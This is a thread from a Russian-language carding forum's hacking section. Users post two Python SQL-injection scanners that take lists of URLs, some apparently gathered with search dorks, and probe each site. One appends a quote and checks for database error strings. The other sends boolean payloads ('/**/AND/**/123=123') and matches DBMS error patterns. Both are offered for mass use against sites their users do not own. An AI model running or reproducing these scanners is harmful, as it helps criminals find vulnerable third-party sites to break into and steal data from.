Go Back   Carder.life > [ru] Forum for Russians > Хакинг. Программирование



Reply
 
Thread Tools Display Modes
  #11  
Old 05-15-2025, 09:48 PM

frdmisslv frdmisslv is offline
Join Date: Aug 2022
Posts: 0
Default


Quote:
Originally Posted by Caligula
Есть в мыслях сделать универсальную штуку. Типа закинул дорки, скрипт будет парсить выдачу и сразу чекать на инъекции
Уже есть. Web надстройка под sql map. Хоть лучше sqlmapa я лучше еще не видел - само стремление писать и делать самому достойно уважения
  #12  
Old 05-15-2025, 09:52 PM

almighty almighty is offline
Banned
Join Date: Oct 2024
Posts: 13
Default


Чуваки, я грубо говоря просто хотел сделать хоть мизерный, но вклад в этот ресурс. Вот и написал за несколько минут данный чекер. А так, скоро готовится еще один проект, но уже другого масштаба
  #13  
Old 05-15-2025, 09:57 PM

E909 E909 is offline
Join Date: Jun 2021
Posts: 0
Default


Quote:
Originally Posted by Caligula
Code:
import os
import sys
import urllib
def log_crt(name, text):
if os.path.exists(name):
open(name, 'a+').write(text)
return True
else:
return False
def sites(name, id):
if os.path.exists(name):
text = open(name, 'r').readlines()
return text[id]
else:
sys.exit(1)
print("[!] SQL Inj checker")
if __name__ == "__main__":
if sys.argv[1] != "" and sys.argv[2] != "":
for i in range(0, len(open(sys.argv[1], 'r').readlines())):
site = sites(sys.argv[1], i)
try:
html = urllib.urlopen(site + "'").read()
if 'SQL' in html or 'syntax' in html or 'Warning' in html:
log_crt(sys.argv[2], site)
print("[\033[1;32mGOOD\033[1;m] " + site)
else:
print("[\033[1;31mERROR\033[1;m] " + site)
except:
pass
print("[\033[1;32mDellete repeat domains\033[1;m]")
for i in range(0, len(open(sys.argv[2], 'r').readlines())):
domain = sites(sys.argv[2], i).replace('http://', '').split('/')
for j in range(0, len(open(sys.argv[2], 'r').readlines())):
dell_domain = sites(sys.argv[2], i).replace('http://', '').split('/')
if(dell_domain[0] == domain[0]):
f = open(sys.argv[2]).read()
f.replace(sites(sys.argv[2], j), '')
print("[\033[1;32mDone\033[1;m]")
else:
print("Error!")

Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_резуль� �атов.txt
Как то тоже писал подобный скрипт для чека SQL Injection, чекает по ключевым словам(Mysql, MSSQL, PostgreSQL и.т.д....) и сравнивает процент сходства страниц - это для того если нет прямого вывода на страницу, пожалуй тоже выложу сюда, писал давно когда начинал учить python внешни вид кода оставляет желать лутшего )
Code:
#!/usr/bin/env python3.5
import itertools, warnings, difflib, argparse, requests, hashlib, sys, re
from requests.packages import urllib3
urllib3.disable_warnings()
headers = {'user-agent': 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+'}
PROXY = None
BOOLEAN_CHECK = "/**/AND/**/123=123"
BOOLEAN_TEST = "/**/AND/**/123=125"
TIMEOUT = 5
DBMS_SIGN = re.compile(r"SQL syntax.*MySQL|Warning.*mysql_.*|SQL syntax|mysql_num_rows|mysql_fetch_array|Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|Warning.*mssql_.*|Microsoft Access Driver|Access Database Engine|Server Error in|PostgreSQL.*ERROR|Npgsql\.|valid PostgreSQL result|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|CLI Driver.*DB2|DB2 SQL error|SQLite/JDBCDriver|SQLite.Exception|Warning.*sqlite_.*|(?i )Warning.*sybase.*|Sybase message")
HTML_CLEAN = re.compile(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+")
TARGET_PARAM = re.compile(r"(=[a-zA-Z0-9]*)")
REDIRECT = "False"
VERSION = 0.1
COEFFICENT = 0.95
parser = argparse.ArgumentParser(description='SQL injection check tools v'+str(VERSION))
parser.add_argument("-l", dest="list", help="Choose link list", type=argparse.FileType(), required=True)
args = parser.parse_args()
try:
for link in args.list:
prefix = link.find("http")
if prefix != 0:
link = "http://"+link
else:
None
def page_source_text(sql_link):
try:
sql_link = requests.get(sql_link, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=REDIRECT)
page_text = sql_link.text
page_code = sql_link.status_code
page_text = HTML_CLEAN.sub(' ', page_text)
return page_text, page_code
except requests.exceptions.RequestException:
return sql_link
def boolean_test_sql(link):
bool_targ = TARGET_PARAM.sub(r"\1"+BOOLEAN_CHECK, link)
bool_targ2 = TARGET_PARAM.sub(r"\1"+BOOLEAN_TEST, link)
original_targ = page_source_text(link)
bool_targ = page_source_text(bool_targ)
bool_targ2 = page_source_text(bool_targ2)
http_code = original_targ[1]
vulns = difflib.SequenceMatcher(None, original_targ[0], bool_targ[0]).quick_ratio()
vulns1 = difflib.SequenceMatcher(None, original_targ[0], bool_targ2[0]).quick_ratio()
if http_code == 200 or http_code == 500:
if vulns >= COEFFICENT and vulns1 <= COEFFICENT:
print (" [ + ] ",link)
sql_target = TARGET_PARAM.sub(r"\1"+"'", link)
union_target = page_source_text(sql_target)
sql_text = union_target[0]
req_code_sql = union_target[1]
if req_code_sql == 200 or req_code_sql == 500:
dbms_error = DBMS_SIGN.search(sql_text) is not None
if dbms_error != 0:
print (" [ + ] ",link)
else:
boolean_test_sql(link)
except KeyboardInterrupt:
print ("\r [x] Ctrl-C pressed")

Reply

Tags
NULL

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is On

Forum Jump




All times are GMT. The time now is 07:28 AM.